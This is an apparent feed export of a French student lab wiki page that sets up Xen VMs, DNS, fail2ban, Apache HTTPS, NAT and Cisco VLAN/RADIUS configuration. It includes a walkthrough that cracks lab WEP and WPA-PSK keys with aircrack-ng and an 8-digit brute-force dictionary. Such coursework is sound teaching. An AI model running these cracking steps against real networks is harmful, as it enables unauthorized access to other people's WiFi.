&amp;lt;/syntaxhighlight&amp;gt;Modification sur Gandi au niveau des deux noms de domaine&lt;br /&gt;
&lt;br /&gt;
Création d'un blue record pour chacun des noms de domaine&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
ns.deadpool.tech&lt;br /&gt;
193.48.57.169 // adresse IPv4 de la mandataire&lt;br /&gt;
2001:660:4401:60a0:216:3eff:fefa:18d0 // adresse IPv6 de la machine de service&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Ajout de external nameserver pour chacun des deux noms de domaine&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
ns.deadpool.tech	// nom de domaine&lt;br /&gt;
ns.dardevil.tech	// l'autre nom de domaine&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour tester depuis l'extérieur&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
dig deadpool.tech&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Fail2ban ===&lt;br /&gt;
Il faut commencer par installer fail2ban&lt;br /&gt;
&lt;br /&gt;
Ensuite il faut créer un fichier jail.local dans le dossier /etc/fail2ban&lt;br /&gt;
&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
[sshd] &lt;br /&gt;
enable = true&lt;br /&gt;
port = ssh&lt;br /&gt;
filter = sshd&lt;br /&gt;
maxretry = 5&lt;br /&gt;
findtime = 300&lt;br /&gt;
bantime = 600&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour éviter un warning sur allowipv6 il faut décommenter les lignes suivantes dans fail2ban.conf (ligne 58 à 62)&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
Option: allowipv6&lt;br /&gt;
Notes.: Allows IPv6 interface:&lt;br /&gt;
         Default: auto&lt;br /&gt;
Values: [ auto yes (on, true, 1) no (off, false, 0) ] Default: auto&lt;br /&gt;
allowipv6 = auto&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Enfin pour lancer le service il faut rentrer la cmd suivante&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
service fail2ban restart&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== HTTPS ===&lt;br /&gt;
Dans le dossier /etc/apache2/sites-available&lt;br /&gt;
&lt;br /&gt;
On met la clef deadpool.tech.key et les certificats GandiCert.pem et deadpool.tech.crt (tout a été trouvé sur Gandi)&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;VirtualHost *:80&amp;gt;&lt;br /&gt;
        ServerName deadpool.tech&lt;br /&gt;
        ServerAlias www.deadpool.tech&lt;br /&gt;
        Redirect permanent / https://deadpool.tech/&lt;br /&gt;
&amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;VirtualHost *:443&amp;gt;&lt;br /&gt;
        ServerAdmin webmaster@localhost&lt;br /&gt;
&lt;br /&gt;
        DocumentRoot /var/www/html&lt;br /&gt;
        &lt;br /&gt;
        ErrorLog ${APACHE_LOG_DIR}/error.log&lt;br /&gt;
        CustomLog ${APACHE_LOG_DIR}/access.log combined&lt;br /&gt;
        &lt;br /&gt;
        SSLEngine on&lt;br /&gt;
        &lt;br /&gt;
        SSLCertificateFile      /etc/apache2/sites-available/deadpool.tech.crt&lt;br /&gt;
        SSLCertificateKeyFile   /etc/apache2/sites-available/deadpool.tech.key&lt;br /&gt;
        SSLCertificateChainFile /etc/apache2/sites-available/GandiCert.pem&lt;br /&gt;
        &lt;br /&gt;
        &amp;lt;FilesMatch &amp;quot;\.(?:cgi|shtml|phtml|php)$&amp;quot;&amp;gt;&lt;br /&gt;
                SSLOptions +StdEnvVars&lt;br /&gt;
        &amp;lt;/FilesMatch&amp;gt;&lt;br /&gt;
        &amp;lt;Directory /usr/lib/cgi-bin&amp;gt;&lt;br /&gt;
                SSLOptions +StdEnvVars&lt;br /&gt;
        &amp;lt;/Directory&amp;gt;&lt;br /&gt;
        &lt;br /&gt;
    &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
On entre ensuite les cmd suivantes&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
a2enmod ssl&lt;br /&gt;
service apache restart&lt;br /&gt;
a2ensite default-ssl.conf&lt;br /&gt;
service apache2 reload&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Effraction WIFI ==&lt;br /&gt;
&lt;br /&gt;
=== Cassage de clef WEP d’un point d’accès WiFi ===&lt;br /&gt;
'''/!\''' Dans notre cas la carte réseau de notre zabeth ne fonctionnait plus (ce cas est courant).&lt;br /&gt;
&lt;br /&gt;
Mr Redon nous a donc fournit une '''clé USB Wifi''' pour pouvoir travailler. &lt;br /&gt;
&lt;br /&gt;
De plus les cracotte s'arrête au 13 donc je dois prendre la '''cracotte02'''.&lt;br /&gt;
&lt;br /&gt;
La commande suivante permet de d''''identifier l'interface WIFI''' qui nous intéresse :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ip link&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Ici l'interface qui nous intéresse est wlx40a5efd21410. Donc nous pouvons lancer la commande suivante afin d'&amp;lt;nowiki/&amp;gt;'''identifier l'adresse IP de notre cracotte02'''.&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo airodump-ng wlx40a5efd21410&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Dans la liste nous avons en effet la cracotte02 sur le channel 4 et l'adresse ip suivante :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
 04:DA:D2:9C:50:51  -62      231        0    0   4   54e. WEP  WEP         cracotte02&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Enfin nous pouvons '''lancer le cassage''' de la clé avec cette commande :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo airodump-ng wlx40a5efd21410 --bssid 04:DA:D2:9C:50:51 -c4 --write log_airodump&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Le nombre de la section DATA doit augmenter asser vite (sinon il y a un problème) :&lt;br /&gt;
&lt;br /&gt;
Après un certain temps on peut entrer la commande suivante pour '''voir si la clé à été trouvée''' (le numéro, ici 5, dépend du nombre de fois ou la commande précédente a été lancé) :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
aircrack-ng log_airodump-05.cap&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Le résultat suivant est le bon on a un '''KEY FOUND''' !!&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
                                                                                                 Aircrack-ng 1.7&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
                                                                                   [00:00:00] Tested 808 keys (got 54157 IVs)&lt;br /&gt;
&lt;br /&gt;
   KB    depth   byte(vote)&lt;br /&gt;
    0    0/ 13   FF(75008) AF(66048) C6(65536) A6(62464) E3(61952) 20(61696) EC(61696) E8(61440) 13(61184) 30(61184) F3(61184) FD(60928) F1(60672) 27(60416) 41(60416) 5D(60416) 8D(60416)&lt;br /&gt;
    1    0/  1   01(81152) 78(64256) 13(63232) AC(63232) E6(62720) 48(61952) 91(61952) 92(61696) AB(61696) 74(61440) 56(61184) A8(61184) 4A(60928) C9(60928) 17(60672) 35(60416) F2(60416)&lt;br /&gt;
    2    9/  2   D2(60416) D5(60160) DF(60160) 44(59904) 7A(59904) 99(59904) AD(59904) 15(59648) 2A(59648) 31(59648) 67(59648) E6(59648) 0D(59392) 16(59392) 7E(59392) DC(59392) 5B(59136)&lt;br /&gt;
    3    0/  1   08(79360) 1D(63744) 7D(61952) 1B(61184) CB(60928) A3(60672) 85(60160) 58(59904) AC(59904) 11(59648) 53(59648) 9C(59648) EA(59648) 81(59392) 84(59392) AA(59392) B1(59392)&lt;br /&gt;
    4    8/  4   9A(61440) 22(61184) DB(61184) D7(60928) 48(60672) 88(60672) 36(60416) 14(59904) 57(59904) 5C(59904) 8D(59904) CF(59904) 04(59136) 20(58880) 39(58880) B4(58880) D5(58880)&lt;br /&gt;
&lt;br /&gt;
             KEY FOUND! [ FF:FF:FF:FF:FA:BC:03:CB:AE:EE:EE:EE:EE ]&lt;br /&gt;
        Decrypted correctly: 100%&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Cassage de mot de passe WPA-PSK par force brute ===&lt;br /&gt;
On s'intéresse maintenant à la '''kracotte02''' (information trouvable par la commande de la section précédente) :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
44:AD:D9:5F:87:01  -47        5        0    0  13   54e. WPA2 CCMP   PSK  kracotte02&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Pour forcer ce mot de passe par force brut nous créons via un '''fichier Python''' un dictionnaire contenant '''toutes les possibilités sur 8 chiffres'''. Le contenu de ce fichier est le suivant :&amp;lt;syntaxhighlight lang=&amp;quot;python3&amp;quot;&amp;gt;&lt;br /&gt;
with open(&amp;quot;dictionnaire_8_chiffres.txt&amp;quot;, &amp;quot;w&amp;quot;) as f:&lt;br /&gt;
    for i in range(100000000):&lt;br /&gt;
        f.write(f&amp;quot;{i:08d}\n&amp;quot;)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
Lancer ce programme afin de créer le fichier dictionnaire_8_chiffres.txt.&lt;br /&gt;
&lt;br /&gt;
La commande suivante est nécessaire pour que aircrack-ng utilise notre dictionnaire :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo aircrack-ng -w dictionnaire_8_chiffres.txt -b 44:AD:D9:5F:87:01&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Nous pouvons enfin '''lancer le cassage du mot de passe''' par force brute via cette commande :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo airodump-ng wlx40a5efd21410 --write airodumpWPA --bssid 44:AD:D9:5F:87:01 -c13&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;La commande ci-dessous permet de '''savoir si le mot de passe à été trouvé''' (/!\ cela peut prendre du temps selon la valeur de la clé, dans notre cas plus de 30min) :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo aircrack-ng -w dictionnaire_8_chiffres.txt -b 44:AD:D9:5F:87:01 airodumpWPA-03.cap&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Nous avons le bon résultat un nouveau '''KEY FOUND''' !!&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
                               Aircrack-ng 1.7&lt;br /&gt;
&lt;br /&gt;
      [00:37:28] 66655552/100000000 keys tested (29360.85 k/s)&lt;br /&gt;
&lt;br /&gt;
      Time left: 18 minutes, 55 seconds                         66.66%&lt;br /&gt;
&lt;br /&gt;
                           KEY FOUND! [ 66688666 ]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
      Master Key     : A4 3E 9E 85 7D D3 4E 0C 2C D4 D9 1C 4F 08 1A 0C&lt;br /&gt;
                       B4 BA B2 64 8C 24 38 C5 DD 27 81 8E CE 2C F4 CA&lt;br /&gt;
&lt;br /&gt;
      Transient Key  : AA 75 80 E5 F3 77 C2 00 00 00 00 00 00 00 00 00&lt;br /&gt;
                       00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00&lt;br /&gt;
                       00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00&lt;br /&gt;
                       00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00&lt;br /&gt;
&lt;br /&gt;
      EAPOL HMAC     : 97 42 1A DB B7 EE FB 19 C3 7C EA 9E 29 99 0A 4B&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Vlan ===&lt;br /&gt;
Depuis la machine batman on se ssh sur le routeur&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ssh -oKexAlgorithms=+diffie-hellman-group14-sha1 -oHostKeyAlgorithms=+ssh-rsa -oCiphers=+aes128-cbc admin@172.27.0.1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Entrez ensuite les commandes suivantes pour le dhcp :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
C9200-E304&amp;gt;en&lt;br /&gt;
C9200-E304&amp;gt;configure&lt;br /&gt;
C9200-E304(config)#ip dhcp pool PoolAntonin&lt;br /&gt;
C9200-E304(dhcp-config)#network 10.60.14.0 255.255.255.0&lt;br /&gt;
C9200-E304(dhcp-config)#dns-server 193.48.57.169&lt;br /&gt;
C9200-E304(dhcp-config)#default-router 10.60.14.254&lt;br /&gt;
C9200-E304(dhcp-config)#exit&lt;br /&gt;
C9200-E304(config)#exit&lt;br /&gt;
C9200-E304&amp;gt;write&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Enfin pour vérifier les commandes ont données ce que l'on souhaite&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
C9200-E304#show running-config&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Création du Vlan24&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
C9200-E304&amp;gt;en&lt;br /&gt;
C9200-E304&amp;gt;configure&lt;br /&gt;
C9200-E304(config)#Vlan 24&lt;br /&gt;
C9200-E304(vlan-config)#name PoolAntonin&lt;br /&gt;
C9200-E304(vlan-config)#exit&lt;br /&gt;
C9200-E304(config)#exit&lt;br /&gt;
C9200-E304&amp;gt;write&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Pour VRRP on peut entrer les commandes suivantes&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
C9200-E304(config)#interface Vlan24&lt;br /&gt;
C9200-E304(config-if)#ip address 10.60.14.2 255.255.255.0&lt;br /&gt;
C9200-E304(config-if)#ipv6 address 2001:660:4401:60ae::2/64&lt;br /&gt;
C9200-E304(config-if)#vrrp 24 address-family ipv4&lt;br /&gt;
C9200-E304(config-if-vrrp)#priority 110&lt;br /&gt;
C9200-E304(config-if-vrrp)#address 10.60.14.1 primary&lt;br /&gt;
C9200-E304(config-if-vrrp)#exit-vrrp&lt;br /&gt;
C9200-E304(config-if)#end&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Pour se ssh sur le wifi&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ssh -oKexAlgorithms=+diffie-hellman-group1-sha1 -oHostKeyAlgorithms=+ssh-rsa -oCiphers=+aes128-cbc admin@172.27.0.4&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
On entre ensuite ces commandes :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
conf t&lt;br /&gt;
&lt;br /&gt;
aaa new-model&lt;br /&gt;
aaa authentication login eap_student14 group radius_student14&lt;br /&gt;
radius-server host 192.168.69.3 auth-port 1812 acct-port 1813 key secret_student14        &lt;br /&gt;
aaa group server radius radius_student14                      &lt;br /&gt;
server 192.168.69.3 auth-port 1812 acct-port 1813        &lt;br /&gt;
exit&lt;br /&gt;
&lt;br /&gt;
dot11 ssid VM_SERVICES_14&lt;br /&gt;
vlan 24         &lt;br /&gt;
authentication open eap eap_student14 &lt;br /&gt;
authentication network-eap eap_student14&lt;br /&gt;
authentication key-management wpa&lt;br /&gt;
mbssid guest-mode&lt;br /&gt;
exit&lt;br /&gt;
&lt;br /&gt;
interface Dot11Radio0&lt;br /&gt;
encryption vlan 24 mode ciphers aes-ccm                  &lt;br /&gt;
exit&lt;br /&gt;
&lt;br /&gt;
interface Dot11Radio0.24&lt;br /&gt;
encapsulation dot1Q 24&lt;br /&gt;
bridge-group 24&lt;br /&gt;
exit&lt;br /&gt;
&lt;br /&gt;
interface GigabitEthernet0.24&lt;br /&gt;
encapsulation dot1Q 24&lt;br /&gt;
bridge-group 24&lt;br /&gt;
exit&lt;br /&gt;
&lt;br /&gt;
interface Dot11Radio0&lt;br /&gt;
ssid VM_SERVICES_14&lt;br /&gt;
exit&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
2001:660:4401:60a0:216:3eff:fe19:f03c&lt;/div&gt;</summary>
		<author><name>Abiernac</name></author>
	</entry>
	<entry>
		<id>https://wiki-se.plil.fr/mediawiki/index.php?title=Atelier_SysRes_SE4_2025/2026_E14&amp;diff=12264</id>
		<title>Atelier SysRes SE4 2025/2026 E14</title>
		<link rel="alternate" type="text/html" href="https://wiki-se.plil.fr/mediawiki/index.php?title=Atelier_SysRes_SE4_2025/2026_E14&amp;diff=12264"/>
		<updated>2026-02-12T16:04:25Z</updated>

		<summary type="html">&lt;p&gt;Abiernac : &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;'''BIERNACKI Antonin'''&lt;br /&gt;
&lt;br /&gt;
IOT 4&lt;br /&gt;
&lt;br /&gt;
2025-2026&lt;br /&gt;
&lt;br /&gt;
== Infos concernant notre binôme ==&lt;br /&gt;
Binôme : '''CHEKLAT Billel''' [[Atelier SysRes SE4 2025/2026 E13]]&lt;br /&gt;
&lt;br /&gt;
Mandataire : '''superman'''&lt;br /&gt;
&lt;br /&gt;
IP publique de la mandataire : '''193.48.57.169'''&lt;br /&gt;
&lt;br /&gt;
Service 1 (Antonin) : '''batman'''&lt;br /&gt;
&lt;br /&gt;
Nom de domaine 1 (Antonin) : '''deadpool.tech'''&lt;br /&gt;
&lt;br /&gt;
Nom service 2 (Billel) : '''catwoman'''&lt;br /&gt;
&lt;br /&gt;
Nom de domaine 1 (Billel) : '''dardevil.tech''' (le e manquant dans daredevil est une pure volonté du binôme et un choix pratique et judicieux pour ce TP ;) )&lt;br /&gt;
&lt;br /&gt;
Bridge : '''pont_ironman'''&lt;br /&gt;
&lt;br /&gt;
Réseau IPv4 : '''192.168.69.0/24'''&lt;br /&gt;
&lt;br /&gt;
== Introduction ==&lt;br /&gt;
&lt;br /&gt;
== Création du bridge ==&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
auto pont_ironman&lt;br /&gt;
iface pont_ironman inet manual&lt;br /&gt;
        bridge_ports none&lt;br /&gt;
        up ip link set $IFACE up&lt;br /&gt;
        down ip link set $IFACE down&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ifup pont_ironman&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Création des machines virtuelles ==&lt;br /&gt;
Nous avons '''créé nos trois machines''' sur le serveur capbreton via les commandes suivantes (nous avons mit la version excalibur de devuan sur la mandataire pour essayer) :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
root@capbreton:~# xen-create-image --hostname=SE4.batman --dhcp --bridge=pont_ironman --dir=/usr/local/xen --size=10GB --dist=daedalus --memory=2G&lt;br /&gt;
root@capbreton:~# xen-create-image --hostname=SE4.catwoman --dhcp --bridge=pont_ironman --dir=/usr/local/xen --size=10GB --dist=daedalus --memory=2G&lt;br /&gt;
root@capbreton:~# xen-create-image --hostname=SE4.superman --dhcp --bridge=pont_ironman --dir=/usr/local/xen --size=10GB --dist=excalibur --memory=2G&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Ces commandes vous donnent un tableau récapitulatif avec un le '''root password''' qu'il faut noter pour pouvoir vous connecter (ce mdp est retrouvable dans le .cfg de la machine). Si vous souhaitez changer le mdp de votre machine, veiller à mettre un mdp '''robuste''' car cette machine sera sur internet.&lt;br /&gt;
&lt;br /&gt;
xen create permet de '''démarrer les machines''' avec leur fichiers de configuration :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
xen create /etc/xen/SE4.batman.cfg&lt;br /&gt;
xen create /etc/xen/SE4.catwoman.cfg&lt;br /&gt;
xen create /etc/xen/SE4.superman.cfg&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;xen console permet d'&amp;lt;nowiki/&amp;gt;'''accéder à la console de la machine virtuelle''' (pour quitter la console un exit suffit et pour quitter la saisie de connection '''Ctrl + Shift + 5''') :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
xen console SE4.batman&lt;br /&gt;
xen console SE4.catwoman&lt;br /&gt;
xen console SE4.superman&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Configuration de la machine de services ==&lt;br /&gt;
&lt;br /&gt;
=== Montage des partitions /home et /var ===&lt;br /&gt;
&lt;br /&gt;
==== Sur capbreton ====&lt;br /&gt;
&lt;br /&gt;
Pour '''créer les partitions''' /home et /var on entre les deux commandes suivantes dans &amp;lt;code&amp;gt;/dev/virtual&amp;lt;/code&amp;gt; de capbreton :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
lvcreate -n SE4.batman.home -L 10G virtual&lt;br /&gt;
lvcreate -n SE4.batman.var -L 10G virtual&lt;br /&gt;
             &lt;br /&gt;
                &lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Ensuite on vient ajouter les lignes suivante dans &amp;lt;code&amp;gt;/etc/xen/batman.cfg&amp;lt;/code&amp;gt; :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
disk        = [&lt;br /&gt;
                  'file:/usr/local/xen/domains/SE4.batman/disk.img,xvda2,w',&lt;br /&gt;
                  'file:/usr/local/xen/domains/SE4.batman/swap.img,xvda1,w',&lt;br /&gt;
                  'phy:/dev/virtual/SE4.batman.home,xvdb,w',&lt;br /&gt;
                  'phy:/dev/virtual/SE4.batman.var,xvdc,w',&lt;br /&gt;
              ]&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Sur la machine de service ====&lt;br /&gt;
&lt;br /&gt;
Pour '''formater et monter''' les partitions nous utilisons les commandes suivantes ('''/!\ pas dans capbreton''') :&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
mkfs -t ext4 /dev/xvdb&lt;br /&gt;
mkfs -t ext4 /dev/xvdc&lt;br /&gt;
mount /dev/xvdb /mnt&lt;br /&gt;
mv /var/* /mnt&lt;br /&gt;
umount /mnt&lt;br /&gt;
mount -a&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Ajouter ces lignes dans &amp;lt;code&amp;gt;/etc/fstab&amp;lt;/code&amp;gt; afin que les partitions soient '''montées de façon automatiques''' au démarrage de la VM :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
/dev/xvdb /var ext4 defaults 0 2&lt;br /&gt;
/dev/xvdc /home ext4 defaults 0 2&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Enfin vous pouvez '''redémarrer''' la VM sur capbreton : &amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
xen shutdown SE4.batman&lt;br /&gt;
xen create /etc/xen/SE4.batman.cfg&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Configuration réseau ===&lt;br /&gt;
On modifie le fichier &amp;lt;code&amp;gt;/etc/network/interfaces&amp;lt;/code&amp;gt; comme suivant :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
auto lo&lt;br /&gt;
iface lo inet loopback&lt;br /&gt;
&lt;br /&gt;
# IPv4&lt;br /&gt;
auto eth0&lt;br /&gt;
iface eth0 inet static&lt;br /&gt;
    address 192.168.69.2/24 IPv4 de batman (service)&lt;br /&gt;
    gateway 192.168.69.1 IPv4 de superman (mandataire)&lt;br /&gt;
&lt;br /&gt;
# IPv6&lt;br /&gt;
auto eth1&lt;br /&gt;
iface eth1 inet6 auto&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Configuration de la machine mandataire ==&lt;br /&gt;
On modifie le fichier &amp;lt;code&amp;gt;/etc/network/interfaces&amp;lt;/code&amp;gt; comme suivant :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
auto lo&lt;br /&gt;
iface lo inet loopback&lt;br /&gt;
&lt;br /&gt;
# IPv4&lt;br /&gt;
auto eth0&lt;br /&gt;
iface eth0 inet static&lt;br /&gt;
    address 192.168.69.1/24 # IPv4 de superman (mandataire)&lt;br /&gt;
&lt;br /&gt;
auto eth1&lt;br /&gt;
iface eth1 inet static&lt;br /&gt;
    address 193.48.57.169/27 # IPv4 publique de superman&lt;br /&gt;
    gateway 193.48.57.162&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
accées internet&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
apt update&lt;br /&gt;
apt install ntp ntpdate host&lt;br /&gt;
apt install ntpsec ntpsec-ntpdate host&lt;br /&gt;
date &lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;ssh des machines de service&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
Dans /etc/xen/SE4.batman.cfg&lt;br /&gt;
    vif = [ 'mac=00:16:3E:FA:18:CF,bridge=pont_ironman', 'mac=00:16:3E:FA:18:D0,bridge=SE4' ]&lt;br /&gt;
&lt;br /&gt;
Ensuite :&lt;br /&gt;
    xen shutdown SE4.batman&lt;br /&gt;
    xen create /etc/xen/SE4.batman.cfg&lt;br /&gt;
    &lt;br /&gt;
Dans /etc/network/interfaces&lt;br /&gt;
    auto eth1&lt;br /&gt;
    iface eth1 inet6 auto&lt;br /&gt;
    &lt;br /&gt;
Dans batman :&lt;br /&gt;
    reboot&lt;br /&gt;
    ifdown eth1; ifup eth1&lt;br /&gt;
    &lt;br /&gt;
Depuis capbreton :&lt;br /&gt;
    ssh root@&amp;lt;ipv6_eth1_batman&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== mascarade ====&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
iptables -t nat -A POSTROUTING -j MASQUERADE -s 192.168.69.0/24&lt;br /&gt;
iptables-save&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;et créé le fichier /etc/sysctl.conf puis mettre&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
net.ipv4.ip_forward=1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== redirection de port pour ssh ====&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
iptables -t nat -A PREROUTING -p tcp --dport 2202 -j DNAT --to-destination 192.168.69.2:22&lt;br /&gt;
iptables -t nat -A PREROUTING -p tcp --dport 2203 -j DNAT --to-destination 192.168.69.3:22&lt;br /&gt;
iptables-save&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;nous avons aussi installer &amp;lt;code&amp;gt;iptables-persistent&amp;lt;/code&amp;gt; pour eviter de perdre la configuration a chaque reboot.&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
apt install iptables-persistant&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Génération de la clé pour le certificat sur batman&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
openssl req -nodes -newkey rsa:2048 -sha256 -keyout deadpool.tech.key -out ddeadpool.csr&lt;br /&gt;
&lt;br /&gt;
Country Name (2 letter code) [AU]:FR&lt;br /&gt;
State or Province Name (full name) [Some-State]:Nord&lt;br /&gt;
